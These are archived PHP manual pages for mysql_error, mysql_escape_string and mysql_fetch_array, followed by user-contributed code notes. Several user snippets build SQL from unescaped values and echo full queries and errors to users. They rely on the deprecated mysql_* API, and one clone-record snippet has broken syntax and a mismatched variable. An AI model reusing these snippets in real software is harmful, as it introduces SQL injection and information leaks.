$system_operator_mail = 'developer@company.com';
$system_from_mail = 'info@mywebsite.com';

function db_query( $query ){
  global $b_debugmode;

  // Perform Query
  $result = mysql_query($query);

  // Check result
  // This shows the actual query sent to MySQL, and the error. Useful for debugging.
  if (!$result) {
    if($b_debugmode){
      $message  = '<b>Invalid query:</b><br>' . mysql_error() . '<br><br>';
      $message .= '<b>Whole query:</b><br>' . $query . '<br><br>';
      die($message);
    }

    raise_error('db_query_error: ' . $message);
  }
  return $result;
}

  function raise_error( $message ){
    global $system_operator_mail, $system_from_mail;

    $serror=
    "Env:       " . $_SERVER['SERVER_NAME'] . "\r\n" .
    "timestamp: " . Date('m/d/Y H:i:s') . "\r\n" .
    "script:    " . $_SERVER['PHP_SELF'] . "\r\n" .
    "error:     " . $message ."\r\n\r\n";

    // open a log file and write error
    $fhandle = fopen( '/logs/errors'.date('Ymd').'.txt', 'a' );
    if($fhandle){
      fwrite( $fhandle, $serror );
      fclose(( $fhandle ));
     }

    // e-mail error to system operator
    if(!$b_debugmode)
      mail($system_operator_mail, 'error: '.$message, $serror, 'From: ' . $system_from_mail );
  }

?>
05-Jan-2005 12:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

A fatal MySQL error occured.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net 16-Jul-2004 10:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de 22-Jun-2004 11:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com 11-Dec-2003 11:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><> 13-Oct-2003 04:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

    function myquery ($query) {
        $result = mysql_query($query);
        if (mysql_errno())
            echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
        return $result;
    }
scott at rocketpack dot net 25-Jul-2003 02:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 07:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .
mysql_errno
mysql_escape_string
MySQL Functions


Escapes a string for use in a mysql_query

mysql_error
mysql_fetch_array
MySQL Functions
PHP Manual

mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string — Escapes a string for use in a mysql_query

Description

string mysql_escape_string ( string $unescaped_string )

This function will escape the unescaped_string, so that it is safe to place it in a mysql_query(). This function is deprecated.

This function is identical to mysql_real_escape_string() except that mysql_real_escape_string() takes a connection handler and escapes the string according to the current character set. mysql_escape_string() does not take a connection argument and does not respect the current charset setting.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

unescaped_string

The string that is to be escaped.

Return Values

Returns the escaped string.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice.
4.3.0 | This function became deprecated, do not use this function. Instead, use mysql_real_escape_string().

Examples

Example #1 mysql_escape_string() example

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>

The above example will output:

Escaped string: Zak\'s Laptop

Notes

Note:

mysql_escape_string() does not escape % and _.

See Also

  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement
  • addslashes() - Quote string with slashes
  • The magic_quotes_gpc directive.

User Contributed Notes

s dot marechal at jejik dot com 26-Jan-2011 02:37
The exact characters that are escaped by this function are the null byte (0), newline (\n), carriage return (\r), backslash (\), single quote ('), double quote (") and substiture (SUB, or \032).
as_lh 26-Mar-2010 05:05
it seems the function changes the character encoding of the string.
I get utf-8 encoded string and my mysql database is set to utf-8 as well.
If i just write the data to the database it works perfectly fine, if i use this function, it changes the encoding and therefore stores the wrong characters.

Seems like a bug to me.
mysql_error
mysql_fetch_array
MySQL Functions


Fetch a result row as an associative array, a numeric array, or both

mysql_escape_string
mysql_fetch_assoc
MySQL Functions
PHP Manual

mysql_fetch_array

(PHP 4, PHP 5)

mysql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array mysql_fetch_array ( resource $result [, int $result_type = MYSQL_BOTH ] )

Returns an array that corresponds to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

result_type

The type of array that is to be fetched. It's a constant and can take the following values: MYSQL_ASSOC, MYSQL_NUM, and MYSQL_BOTH.

Return Values

Returns an array of strings that corresponds to the fetched row, or FALSE if there are no more rows. The type of returned array depends on how result_type is defined. By using MYSQL_BOTH (default), you'll get an array with both associative and number indices. Using MYSQL_ASSOC, you only get associative indices (as mysql_fetch_assoc() works), using MYSQL_NUM, you only get number indices (as mysql_fetch_row() works).

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use the numeric index of the column or make an alias for the column. For aliased columns, you cannot access the contents with the original column name.

Examples

Example #1 Query with aliased duplicate field names

SELECT table1.field AS foo, table2.field AS bar FROM table1, table2

Example #2 mysql_fetch_array() with MYSQL_NUM

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
    printf("ID: %s  Name: %s", $row[0], $row[1]);
}

mysql_free_result($result);
?>

Example #3 mysql_fetch_array() with MYSQL_ASSOC

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
    printf("ID: %s  Name: %s", $row["id"], $row["name"]);
}

mysql_free_result($result);
?>

Example #4 mysql_fetch_array() with MYSQL_BOTH

<?php
mysql_connect("localhost", "mysql_user", "mysql_password") or
    die("Could not connect: " . mysql_error());
mysql_select_db("mydb");

$result = mysql_query("SELECT id, name FROM mytable");

while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
    printf ("ID: %s  Name: %s", $row[0], $row["name"]);
}

mysql_free_result($result);
?>

Notes

Note: Performance

An important thing to note is that using mysql_fetch_array() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query

User Contributed Notes

puzbie at facebookanswers dot co dot uk 08-Nov-2011 01:28
<?php
 while($r[]=mysql_fetch_array($sql));
 ?>
Yes, that will generate a dummy array element containing the false of the final mysql_fetch_array. You should either truncate the array or (more sensibly in my mind) check that the result of mysql_fetch_array is not false before adding it to the array.
Anonymous 30-Aug-2011 01:56
If I use

<?php
while($r[]=mysql_fetch_array($sql));
?>

so in array $r is one more entry then rows returned from the database.
maileremi at gmail dot com 03-Aug-2011 09:49
Simple way to put table in an array...

<?php
//= Query ========================//
$sql=mysql_query("select * from table1");

//= Closed while ====================//
/*everytime it fetches the row, adds it to array...*/
while($r[]=mysql_fetch_array($sql));

echo "<pre>";
//= Prints $r as array =================//
print_r ($r);
//=============================//
echo "</pre>";
?>
final at skilled dot ch 26-Jul-2011 03:50
I ran into troubles with MySQL NULL values when I generated dynamic queries and then had to figure out whether my resultset contained a specific field.

First instict was to use isset() and is_null(), but these function will not behave as you probably expect.

I ended up using array_key_exists, as it was the only function that could tell me whether the key actually existed or not.

<?php
$row = mysql_fetch_assoc(mysql_query("SELECT null as a"));
var_dump($row); //array(1) {  ["a"]=>  NULL }
var_dump(isset($row['a'])); //false
var_dump(isset($row['b'])); //false
var_dump(is_null($row['a'])); //true
var_dump(is_null($row['b'])); //true + throws undefined index notice
var_dump(array_key_exists('a', $row)); // true
var_dump(array_key_exists('b', $row)); // false
?>
luke at lmbd dot co dot uk 15-Apr-2011 09:02
That does actually return what you'd expect when using MYSQL_BOTH, because you get two sets of results within the array, which are returned when looped through; You get the associative values, which are field named paired with a value, and then you get the index position and it's associated value (minus the field name).

Generally speaking you'd only want to have to use fetch_assoc anyway, since you are more likely to want to reference the information by field name, unless you are absolutely certain of the order in which the fields will be returned to you from the database.
Amine O 21-Jan-2011 07:49
If you use implode() with the return value by mysql_fetch_array, if you use MYSQL_BOTH on parameter 2, the result is not really what you're expecting.
For example :
my sql database contains "Amine, Sarah, Mohamed";

$array = mysql_fetch_array($resource,MYSQL_BOTH);
or $array = mysql_fetch_array($resource);
echo implode(" - ", $array);

the result is : Amine-Amine-Sarah-Sarah-Mohamed-Mohamed
and we expect just : Amine-Sarah-Mohamed

You must use MYSQL_NUM or MYSQL_ASSOC on parameter 2 to resolve the problem.
sftranna at yahoo dot com 16-Aug-2010 03:34
I would like to select strings from a table and return them as an array
For example,
select new_array(name) from my_tbl
would return
String[] { name1, name2, name3, etc }

Is this possible with built-in SQL/MSSql Server functions?

im Currently working php with SQL SERVER 2005
Sebastian K 02-Mar-2010 12:56
To put the full result in one array, I wrote this function:

<?php

$query="select * from table_xyz";
$result = mysql_query($query) or die(mysql_error());
$arr_table_result=mysql_fetch_full_result_array($result);

function mysql_fetch_full_result_array($result)
{
    $table_result=array();
    $r=0;
    while($row = mysql_fetch_assoc($result)){
        $arr_row=array();
        $c=0;
        while ($c < mysql_num_fields($result)) {
            $col = mysql_fetch_field($result, $c);
            $arr_row[$col -> name] = $row[$col -> name];
            $c++;
        }
        $table_result[$r] = $arr_row;
        $r++;
    }
    return $table_result;
}

echo $arr_table_result[2]['id'];

?>
coldfire_hx at yahoo dot co dot in 07-Feb-2010 04:27
Hey this is a simple function where you pass your table name and any number of coloumns you want and it will fetch the coloumns and return as a table.

<?php
//function

 function fetch_records($table_name, $fields){

                $conn = mysql_connect("localhost", "root", "");
                $select_db = mysql_select_db("db", $conn);

                if(!$conn){
                    return "Not able to connect to dabase....";
                }

                $table = "<table border='0' cellpadding='5' cellspacing='5'>";
                $cols = implode (', ', $fields);
                $sql = "select $cols from $table_name";
                $run = mysql_query($sql);

                    if($run){
                        if(mysql_num_rows($run) == 0){
                                return "Sorry. No records found in the database";
                        }
                        else {

                            while($arr = mysql_fetch_array($run, MYSQL_ASSOC)){
                                    $table .= "\t\t<tr>\n";

                                    foreach ($arr as $val_col) {
                                    $table .= "\t\t\t".'<td>'.$val_col.'</td>'."\n";
                                    }

                                    $table .= "\t\t</tr>\n";
                            }
                            $table .= "</table>";
                            return $table;
                         }

                        mysql_free_result($run);
                  }

                return "There was an error while fetching the records. Please contact site administrator.";
 }

//how to call the function

        $table = "product_master";
        $cols = array("product_name", "product_image", "product_price");
        echo fetch_records($table, $cols);
?>
buddy at databoysoftware dot com 03-Aug-2009 10:24
In the note entered by Typer85, concerning the use of mysql_data_seek(), it should be noted that there are two parameters, both of which are required.

If you have already iterated through a result array (for instance, using mysql_fetch_array()), and have a need to start from the top, the proper syntax is:

mysql_data_seek({result set},{record#})

EG:
mysql_data_seek($result,0)
("0" represents the first record in the array.)

This will reset your result to the top of the array so that you can then re-process with
while($row = mysql_fetch_array($result)) or other array processing.
Tristan 27-Jul-2009 05:42
Here's a quicker way to clone a record.  Only 3 lines of code instead of 4.  But the table must have an auto-incremented id.
I took the code from Tim and altered it. Props to Tim.

<?php
// copy content of the record you wish to clone
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table_name WHERE id='$id_to_be cloned'"), MYSQL_ASSOC) or die("Could not select original record");

// set the auto-incremented id's value to blank. If you forget this step, nothing will work because we can't have two records with the same id
$entity["id"] = "";

// insert cloned copy of the original  record
mysql_query("INSERT INTO table_name (".implode(", ",array_keys($entity)).") VALUES ('".implode("', '",array_values($entity))."')");

// if you want the auto-generated id of the new cloned record, do the following
$newid = mysql_insert_id();
?>

There you go.
mehdi dot haresi at gmail dot com 20-Jul-2009 12:44
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
info at o08 dot com 06-Dec-2008 06:33
As opposite of mysql_fetch_array:

<?php
function mysql_insert_array ($my_table, $my_array) {
    $keys = array_keys($my_array);
    $values = array_values($my_array);
    $sql = 'INSERT INTO ' . $my_table . '(' . implode(',', $keys) . ') VALUES ("' . implode('","', $values) . '")';
    return(mysql_query($sql));
}
#http://www.weberdev.com/get_example-4493.html
?>
KingIsulgard 24-Nov-2008 05:49
I have found a way to put all results from the select query in an array in one line.

// Read records
$result = mysql_query("SELECT * FROM table;") or die(mysql_error());

// Put them in array
for($i = 0; $array[$i] = mysql_fetch_assoc($result); $i++) ;

// Delete last empty one
array_pop($array);

You need to delete the last one because this will always be empty.

By this you can easily read the entire table to an array and preserve the keys of the table columns. Very handy.
jab_creations_-at_-yahoo_-dot-_com 23-Nov-2008 11:04
If you notice that the first row is not appearing in PHP when you're looking at the data make sure you're not executing the mysql_fetch_array function twice on the same query. I hope that helps break some other people from the frustration of missing rows.
noagbodjivictor at gmail dot com 09-Nov-2007 08:53
Little improvement to the previous function.

function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got = array();

  if(mysql_num_rows($result) == 0)
    return $got;

  mysql_data_seek($result, 0);

  while ($row = mysql_fetch_array($result, $numass)) {
    array_push($got, $row);
  }

  return $got;
}
joaocosta at zonalivre dot org 21-Jul-2007 07:29
You can make the function on the previous note slightly more efficient by using php's built in array_push function instead of a foreach loop:

<?php
function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got=array();
  mysql_data_seek($result, 0);
    while ($row = mysql_fetch_array($result, $numass)) {
        array_push($got, $row);
    }
  return $got;
}
?>
devinivy at gmail dot com 15-Jul-2007 09:02
<?php
function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $i=0;
  $keys=array_keys(mysql_fetch_array($result, $numass));
  mysql_data_seek($result, 0);
    while ($row = mysql_fetch_array($result, $numass)) {
      foreach ($keys as $speckey) {
        $got[$i][$speckey]=$row[$speckey];
      }
    $i++;
    }
  return $got;
}
?>

Ever found it a bit of a pain to use mysql_fetch_array()? I find this function much easier to receive data, and to be in a more accessible manner when accessing various data from several rows. It is practical when more than one row is expected to be returned from a SELECT query. It returns a 2-dimensional array in the form of $arr[number_row_returned][column_desired]. So, if there is some column 'password', and you want the password from the third returned row:
<?php
$result = mysql_query($query);
$arr = mysql_fetch_rowsarr($result);
$password = $arr[2]['password'];
?>

The function also has the ability to return the columns numerically, associatively, or both, just as mysql_fetch_array() does. It uses MYSQL_NUM, MYSQL_ASSOC, and MYSQL_BOTH (MYSQL_BOTH being the default)- exactly like mysql_fetch_array(). So, if the column 'password' is the 4th column which is returned in the query, then password of the 1st returned row could be accessed like so:
<?php
$arr = mysql_fetch_rowsarr($result, MYSQL_NUM);
$password = $arr[0][3];
?>

I hope you find it useful!
-Dan
badulla at kaboom dot com 26-Feb-2007 02:15
Just a real world example from a post below. I found it very useful for creating a table I needed from hundreds of proprietary colors. I added formatting so HTML source is clean and thought someone might be able to use or modify as I did.

<?php
// Query
$sql = "select colors_id, colors_type, colors_name, colors_number, R, G, B, colors_wetsample from products_colors where colors_type = 'Color Canvas' order by colors_number asc limit 40";

$result = mysql_query($sql ,$db);

// Change display for number of columns. Do not change cols as it is needed for counting.
$display = 7;
$cols = 0;
echo "   <table border=0 cellpadding=1 cellspacing=0>\n";
while($C = mysql_fetch_array($result)){
   if($cols == 0){
       echo "    <tr>\n";
   }
   // Display each cell here
   echo "     <td align=\"center\">\n"
        . "\t<table border=0 cellspacing=0 cellpadding=0 width=\"100\" height=\"100\">\n"
        . "\t <tr>\n"
        . "\t  <td height=\"85\" align=center valign=middle" . " "
        . "style=" . "\"" . "background-color: rgb("
        . $C['R'] . "," .$C['G'] . "," . $C['B'] . ")\"" . ">\n"
        . "\t   <span class=\"smcolor\">" . $C['colors_number'] . "</span>\n"
        . "\t  </td>\n"
        . "\t </tr>\n"
        . "\t <tr bgcolor=\"#ffffff\">\n"
        . "\t  <td align=center valign=middle>\n"
        . "\t   <span class=\"smcolor\">"
        . "<a href=\"javascript:colorPop('../colors.php?colors_type=Color Canvas&colors_number="
        . $C['colors_number'] . "')\"" . ">". $C['colors_name'] . "</span>\n"
        . "\t  </td>\n"
        ."\t </tr>\n"
        . "\t</table>\n"
        . "     </td>\n";
   $cols++;
   if($cols == $display){
       echo "    </tr>\n";
       $cols = 0;
   }
}
// Display the correct HTML
if($cols != $display && $cols != 0){
   $neededtds = $display - $cols;
   for($i=0;$i<$neededtds;$i++){
       echo "     <td></td>\n";
   }
     echo "    </tr>\n"
          . "   </table>\n";
   } else {
   echo "   </table>\n";
}
?>
joshmish at haanmc dot com 11-Dec-2006 08:29
A simple function that returns the next auto index. I recommend you use a unique id and not a relative row index, but if the need arises, here's how to get that id before you INSERT without the error-prone MAX(id) approach.

<?php
function nextautoindex ($table) {
    $res=mysql_query("SHOW TABLE STATUS");
    if (@mysql_num_rows($res)>0) { while ($row = @mysql_fetch_array($res, MYSQL_ASSOC)) {
        if ($table == $row["name"]) return $row["Auto_increment"];
    }}
    return false;
}

/* Example usage:
$newID = nextautoindex("user"); // output: 12

// Now you can insert multiple related records without guessing the id
*/

?>
Typer85 at gmail dot com 30-Nov-2006 05:22
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
05-Jun-2006 02:14
Note that as unlikely as it might be, queries like the following will mess up an array that is of result_type MYSQL_BOTH:

SELECT 'hello', 'world' AS '0';
hdixonish at deltabravo dot com 18-May-2006 03:39
Just a fairly useful (to me at least!) "implementation" of mysql_fetch_assoc to stop the clobbering of identical column names and allow you to work out which table produced which result column when using a JOIN (or simple multiple-table) SQL query:
(assuming a live connection ...)
<?php
$sql = "SELECT a.*, b.* from table1 a, table2 b WHERE a.id=b.id"; // example sql
$r = mysql_query($sql,$conn);
if (!$r) die(mysql_error());
$numfields = mysql_num_fields($r);
$tfields = Array();
for ($i=0;$i<$numfields;$i++)
{
    $field =  mysql_fetch_field($r,$i);
    $tfields[$i] = $field->table.'.'.$field->name;
}
while ($row = mysql_fetch_row($r))
{
    $rowAssoc = Array();
    for ($i=0;$i<$numfields;$i++)
    {
        $rowAssoc[$tfields[$i]] = $row[$i];
    }
//    do stuff with $rowAssoc as if it was $rowAssoc = mysql_fetch_assoc($r) you had used, but with table. prefixes
}
?>
let's you refer to $rowAssoc['a.fieldname'] for example.

[for real email addr, remove the ish]
tilmauder at yahoo dot com 16-Feb-2006 01:18
Remember that using a while() loop for traversing your result array is significantly slower than using a foreach() loop. Read the comments in the control structures section of this site for further details.
john at skem9 dot com 21-Jan-2006 04:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
    if($cols == 0){
        echo "<tr>\n";
    }
    // put what you would like to display within each cell here
    echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
    $cols++;
    if($cols == $display){
        echo "</tr>\n";
        $cols = 0;
    }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
    $neededtds = $display - $cols;
    for($i=0;$i<$neededtds;$i++){
        echo "<td></td>\n";
    }
     echo "</tr></table>";
    } else {
    echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
andrea at 3site dot it 28-Dec-2005 07:51
alternative mysql_fetch_all

// array mysql_fetch_all(query:resource [, kind:string (default:'assoc' | 'row')])
function mysql_fetch_all($query, $kind = 'assoc') {
    $result = array();
    $kind = $kind === 'assoc' ? $kind : 'row';
    eval('while(@$r = mysql_fetch_'.$kind.'($query)) array_push($result, $r);');
    return $result;
}

// Example
$query = mysql_query($myquery) or die(mysql_error());
$result = mysql_fetch_all($query);
echo '<pre>'.print_r($result, true).'</pre>';
info at modulotech dot ch 23-Nov-2005 02:37
I think using a for loop to display fetched rows from a table is more convenient than a while loop, since one have directely access to the record number:

$reclist = mysql_query("SELECT field FROM table",$db)
               or die(mysql_errno()." : ".mysql_error());

for ($j=0; $rec=mysql_fetch_array($reclist); $j++){
     printf("%s - %s<br>\n",$j,$rec["field"]);
}

Hope this is usefull. Ali
tim at wiltshirewebs dot com 14-Nov-2005 05:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com 03-Nov-2005 10:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*   if($err=mysql_errno($link))return $err;
* else
*   if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de 01-Oct-2005 03:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com 05-Sep-2005 03:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
yashiro at esfera dot cl 29-Jun-2005 06:36
This is a simple function that outputs a String with a table with the name of fields and their respective values, pretty useful
u insert a result like this : $result = mysql_query("select * from table", $db)

    /*Esta funcion genera automaticamente una tabla que muestra el resultado de un mysql_query,
    basta con invocar la funcion y con echo imprimirla*/
    function muestra_select($result){
        $tabla = "\n\t".'<table border="2" align="center" cellpadding="2" cellspacing="2">'."\n";
        for($i = 0; $i < mysql_num_fields($result); $i++){
            $aux = mysql_field_name($result, $i);
            $tabla .= "\t\t<th>".$aux."</th>\n";
        }
        while ($linea = mysql_fetch_array($result, MYSQL_ASSOC)) {
            $tabla .= "\t\t<tr>\n";
            foreach ($linea as $valor_col) {
                $tabla .= "\t\t\t".'<td>'.$valor_col.'</td>'."\n";
            }
            $tabla .= "\t\t</tr>\n";
        }
        $tabla .= "\t</table>\n";
        return $tabla;
    }
romans at servidor dot unam dot mx 12-May-2005 10:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
    var $results, $map;

    function mysql_resultset($results)
    {
      $this->results = $results;
      $this->map = array();

      $index = 0;
      while ($column = mysql_fetch_field($results))
      {
        $this->map[$index++] = array($column->table, $column->name);
      }
    }

    function fetch()
    {
      if ($row = mysql_fetch_row($this->results))
      {
        $drow = array();

        foreach ($row as $index => $field)
        {
          list($table, $column) = $this->map[$index];
          $drow[$table][$column] = $row[$index];
        }

        return $drow;
      }
      else
        return false;
    }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
    "select orders.*, clients.*, productos.* ".
    "from orders, clients, products ".
    "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
    echo 'No.: '.$drow['orders']['number'].'<br>';
    echo 'Client: '.$drow['clients']['name'].'<br>';
    echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru 23-Jan-2005 11:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com 18-Apr-2004 07:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben 06-Apr-2004 11:59
